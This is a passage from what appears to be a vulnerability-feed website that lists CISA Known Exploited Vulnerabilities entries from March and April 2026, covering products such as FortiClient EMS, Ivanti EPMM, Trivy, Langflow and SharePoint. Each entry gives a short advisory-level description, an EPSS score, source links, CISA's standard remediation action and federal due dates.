mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2026; federal due date Apr 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet FortiClient EMS SQL Injection Vulnerability https://kevwire.com/record/CVE-2026-21643 Fortinet FortiClient EMS SQL Injection Vulnerability (Apr 13, 2026). Fortinet FortiClient EMS contains a SQL injection vulnerability that may allow an unauthenticated attacker to execute unauthorized code or commands via specifically crafted HTTP requests. EPSS 97.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21643&date=2026-10-25). Sources: CISA KEV entry CVE-2026-21643: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21643&date=2026-10-25 CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2026; federal due date Apr 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Acrobat and Reader Prototype Pollution Vulnerability https://kevwire.com/record/CVE-2026-34621 Adobe Acrobat and Reader Prototype Pollution Vulnerability (Apr 13, 2026). Adobe Acrobat and Reader contain a prototype pollution vulnerability that allows for arbitrary code execution. EPSS 7.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34621&date=2026-10-25). Sources: CISA KEV entry CVE-2026-34621: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34621&date=2026-10-25 CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2026; federal due date Apr 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Endpoint Manager Mobile (EPMM) Code Injection Vulnerability https://kevwire.com/record/CVE-2026-1340 Ivanti Endpoint Manager Mobile (EPMM) Code Injection Vulnerability (Apr 8, 2026). Ivanti Endpoint Manager Mobile (EPMM) contains a code injection vulnerability that could allow attackers to achieve unauthenticated remote code execution. EPSS 98.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-1340&date=2026-10-25). Sources: CISA KEV entry CVE-2026-1340: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-1340&date=2026-10-25 CISA added this entry on 2026-04-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 8, 2026; federal due date Apr 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet FortiClient EMS Improper Access Control Vulnerability https://kevwire.com/record/CVE-2026-35616 Fortinet FortiClient EMS Improper Access Control Vulnerability (Apr 6, 2026). Fortinet FortiClient EMS contains an improper access control vulnerability that may allow an unauthenticated attacker to execute unauthorized code or commands via crafted requests. EPSS 94.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-35616&date=2026-10-25). Sources: CISA KEV entry CVE-2026-35616: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-35616&date=2026-10-25 CISA added this entry on 2026-04-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 6, 2026; federal due date Apr 9, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### TrueConf Client Download of Code Without Integrity Check Vulnerability https://kevwire.com/record/CVE-2026-3502 TrueConf Client Download of Code Without Integrity Check Vulnerability (Apr 2, 2026). TrueConf Client contains a download of code without integrity check vulnerability. An attacker who is able to influence the update delivery path can substitute a tampered update payload. If the payload is executed or installed by the updater, this may result in arbitrary code execution in the context of the updating process or user. EPSS 5.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-3502&date=2026-10-25). Sources: CISA KEV entry CVE-2026-3502: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-3502&date=2026-10-25 CISA added this entry on 2026-04-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 2, 2026; federal due date Apr 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Dawn Use-After-Free Vulnerability https://kevwire.com/record/CVE-2026-5281 Google Dawn Use-After-Free Vulnerability (Apr 1, 2026). Google Dawn contains an use-after-free vulnerability that could allow a remote attacker who had compromised the renderer process to execute arbitrary code via a crafted HTML page. This vulnerability could affect multiple Chromium-based products including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 13.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-5281&date=2026-10-25). Sources: CISA KEV entry CVE-2026-5281: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-5281&date=2026-10-25 CISA added this entry on 2026-04-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 1, 2026; federal due date Apr 15, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix NetScaler Out-of-Bounds Read Vulnerability https://kevwire.com/record/CVE-2026-3055 Citrix NetScaler Out-of-Bounds Read Vulnerability (Mar 30, 2026). Citrix NetScaler ADC (formerly Citrix ADC), NetScaler Gateway (formerly Citrix Gateway) and NetScaler ADC FIPS and NDcPP contain an out-of-bounds reads vulnerability when configured as a SAML IDP leading to memory overread. EPSS 91.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-3055&date=2026-10-25). Sources: CISA KEV entry CVE-2026-3055: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-3055&date=2026-10-25 CISA added this entry on 2026-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 30, 2026; federal due date Apr 2, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### F5 BIG-IP Stack-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2025-53521 F5 BIG-IP Stack-Based Buffer Overflow Vulnerability (Mar 27, 2026). F5 BIG-IP APM contains a stack-based buffer overflow vulnerability that could allow a threat actor to achieve remote code execution. EPSS 2.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-53521&date=2026-10-25). Sources: CISA KEV entry CVE-2025-53521: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-53521&date=2026-10-25 CISA added this entry on 2026-03-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 27, 2026; federal due date Mar 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Aquasecurity Trivy Embedded Malicious Code Vulnerability https://kevwire.com/record/CVE-2026-33634 Aquasecurity Trivy Embedded Malicious Code Vulnerability (Mar 26, 2026). Aquasecurity Trivy contains an embedded malicious code vulnerability that could allow an attacker to gain access to everything in the CI/CD environment, including all tokens, SSH keys, cloud credentials, database passwords, and any sensitive configuration in memory. EPSS 59.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-33634&date=2026-10-25). Sources: CISA KEV entry CVE-2026-33634: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-33634&date=2026-10-25 CISA added this entry on 2026-03-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 26, 2026; federal due date Apr 9, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Langflow Code Injection Vulnerability https://kevwire.com/record/CVE-2026-33017 Langflow Code Injection Vulnerability (Mar 25, 2026). Langflow contains a code injection vulnerability that could allow building public flows without requiring authentication. EPSS 96.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-33017&date=2026-10-25). Sources: CISA KEV entry CVE-2026-33017: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-33017&date=2026-10-25 CISA added this entry on 2026-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2026; federal due date Apr 8, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Craft CMS Code Injection Vulnerability https://kevwire.com/record/CVE-2025-32432 Craft CMS Code Injection Vulnerability (Mar 20, 2026). Craft CMS contains a code injection vulnerability that allows a remote attacker to execute arbitrary code. EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-32432&date=2026-10-25). Sources: CISA KEV entry CVE-2025-32432: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-32432&date=2026-10-25 CISA added this entry on 2026-03-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 20, 2026; federal due date Apr 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Laravel Livewire Code Injection Vulnerability https://kevwire.com/record/CVE-2025-54068 Laravel Livewire Code Injection Vulnerability (Mar 20, 2026). Laravel Livewire contain a code injection vulnerability that could allow unauthenticated attackers to achieve remote command execution in specific scenarios. EPSS 96.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-54068&date=2026-10-25). Sources: CISA KEV entry CVE-2025-54068: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-54068&date=2026-10-25 CISA added this entry on 2026-03-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 20, 2026; federal due date Apr 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Improper Locking Vulnerability https://kevwire.com/record/CVE-2025-43510 Apple Multiple Products Improper Locking Vulnerability (Mar 20, 2026). Apple watchOS, iOS, iPadOS, macOS, visionOS, and tvOS contain an improper locking vulnerability that could allow a malicious application to cause unexpected changes in memory shared between processes. EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-43510&date=2026-10-25). Sources: CISA KEV entry CVE-2025-43510: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-43510&date=2026-10-25 CISA added this entry on 2026-03-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 20, 2026; federal due date Apr 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Classic Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2025-43520 Apple Multiple Products Classic Buffer Overflow Vulnerability (Mar 20, 2026). Apple watchOS, iOS, iPadOS, macOS, visionOS, and tvOS contain a classic buffer overflow vulnerability which could allow a malicious application to cause unexpected system termination or write kernel memory. EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-43520&date=2026-10-25). Sources: CISA KEV entry CVE-2025-43520: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-43520&date=2026-10-25 CISA added this entry on 2026-03-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 20, 2026; federal due date Apr 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2025-31277 Apple Multiple Products Buffer Overflow Vulnerability (Mar 20, 2026). Apple Safari, iOS, watchOS, visionOS, iPadOS, macOS, and tvOS contain a buffer overflow vulnerability that could allow the processing of maliciously crafted web content which may lead to memory corruption. EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-31277&date=2026-10-25). Sources: CISA KEV entry CVE-2025-31277: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-31277&date=2026-10-25 CISA added this entry on 2026-03-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 20, 2026; federal due date Apr 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Secure Firewall Management Center (FMC) Software and Cisco Security Cloud Control (SCC) Firewall Management Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2026-20131 Cisco Secure Firewall Management Center (FMC) Software and Cisco Security Cloud Control (SCC) Firewall Management Deserialization of Untrusted Data Vulnerability (Mar 19, 2026). Cisco Secure Firewall Management Center (FMC) Software and Cisco Security Cloud Control (SCC) Firewall Management contain a deserialization of untrusted data vulnerability in the web-based management interface that could allow an unauthenticated, remote attacker to execute arbitrary Java code as root on an affected device. EPSS 43.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20131&date=2026-10-25). Sources: CISA KEV entry CVE-2026-20131: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20131&date=2026-10-25 CISA added this entry on 2026-03-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 19, 2026; federal due date Mar 22, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting Vulnerability https://kevwire.com/record/CVE-2025-66376 Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting Vulnerability (Mar 18, 2026). Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability in the Classic UI where attackers could abuse Cascading Style Sheets (CSS) @import directives in email HTML. EPSS 20.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-66376&date=2026-10-25). Sources: CISA KEV entry CVE-2025-66376: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-66376&date=2026-10-25 CISA added this entry on 2026-03-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 18, 2026; federal due date Apr 1, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft SharePoint Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2026-20963 Microsoft SharePoint Deserialization of Untrusted Data Vulnerability (Mar 18, 2026). Microsoft SharePoint contains a deserialization of untrusted data vulnerability that allows an unauthorized attacker to execute code over a network. EPSS 29.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20963&date=2026-10-25). Sources: CISA KEV entry CVE-2026-20963: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20963&date=2026-10-25 CISA added this entry on 2026-03-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 18, 2026; federal due date Mar 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Wing FTP Server Information Disclosure Vulnerability https://kevwire.com/record/CVE-2025-47813 Wing FTP Server Information Disclosure Vulnerability (Mar 16, 2026). Wing FTP Server contains a generation of error message containing sensitive information vulnerability when using a long value in the UID cookie. EPSS 62.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-47813&date=2026-10-25). Sources: CISA KEV entry CVE-2025-47813: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-47813&date=2026-10-25 CISA added this entry on 2026-03-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 16, 2026; federal due date Mar 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Improper Restriction of Operations Within the Bounds of a Memory Buffer Vulnerability https://kevwire.com/record/CVE-2026-3910 Google Chromium V8 Improper Restriction of Operations Within the Bounds of a Memory Buffer Vulnerability (Mar 13, 2026). Google Chromium V8 contains an improper restriction of operations within the bounds of a memory buffer vulnerability that could allow a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-3910&date=2026-10-25). Sources: CISA KEV entry CVE-2026-3910: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-3910&date=2026-10-25 CISA added this entry on 2026-03-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 13, 2026; federal due date Mar 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Skia Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2026-3909 Google Skia Out-of-Bounds Write Vulnerability (Mar 13, 2026). Google Skia contains an out-of-bounds write vulnerability that could allow a remote attacker to perform out of bounds memory access via a crafted HTML page. This vulnerability affects Google Chrome and ChromeOS, Android, Flutter, and possibly other products. EPSS 2.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-3909&date=2026-10-25). Sources: CISA KEV entry CVE-2026-3909: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-3909&date=2026-10-25 CISA added this entry on 2026-03-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 13, 2026; federal due date Mar 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### n8n Improper Control of Dynamically-Managed Code Resources Vulnerability https://kevwire.com/record/CVE-2025-68613 n8n Improper Control of Dynamically-Managed Code Resources Vulnerability (Mar 11, 2026). n8n contains an improper control of dynamically managed code resources vulnerability in its workflow expression evaluation system that allows for remote code execution. EPSS 99.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-68613&date=2026-10-25). Sources: CISA KEV entry CVE-2025-68613: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-68613&date=2026-10-25 CISA added this entry on 2026-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 11, 2026; federal due date Mar 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Omnissa Workspace ONE Server-Side Request Forgery https://kevwire.com/record/CVE-2021-22054 Omnissa Workspace ONE Server-Side Request Forgery (Mar 9, 2026). Omnissa Workspace One UEM formerly known as VMware Workspace One UEM contains a server-side request forgery (SSRF) vulnerability that could allow a malicious actor with network access to UEM to send their requests without authentication and to gain access to sensitive information. EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22054&date=2026-10-25). Sources: CISA KEV entry CVE-2021-22054: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22054&date=2026-10-25 CISA added this entry on 2026-03-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 9, 2026; federal due date Mar 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2025-26399 SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability (Mar 9, 2026). SolarWinds Web Help Desk contain a deserialization of untrusted data vulnerability in AjaxProxy that could allow an attacker to run commands on the host machine. EPSS 90.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-26399&date=2026-10-25). Sources: CISA KEV entry CVE-2025-26399: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-26399&date=2026-10-25 CISA added this entry on 2026-03-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 9, 2026; federal due date Mar 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Endpoint Manager (EPM) Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2026-1603 Ivanti Endpoint Manager (EPM) Authentication Bypass Vulnerability (Mar 9, 2026). Ivanti Endpoint Manager (EPM) contains an authentication bypass using an alternate path or channel vulnerability that could allow a remote unauthenticated attacker to leak specific stored credential data. EPSS 88.3% for the following 30 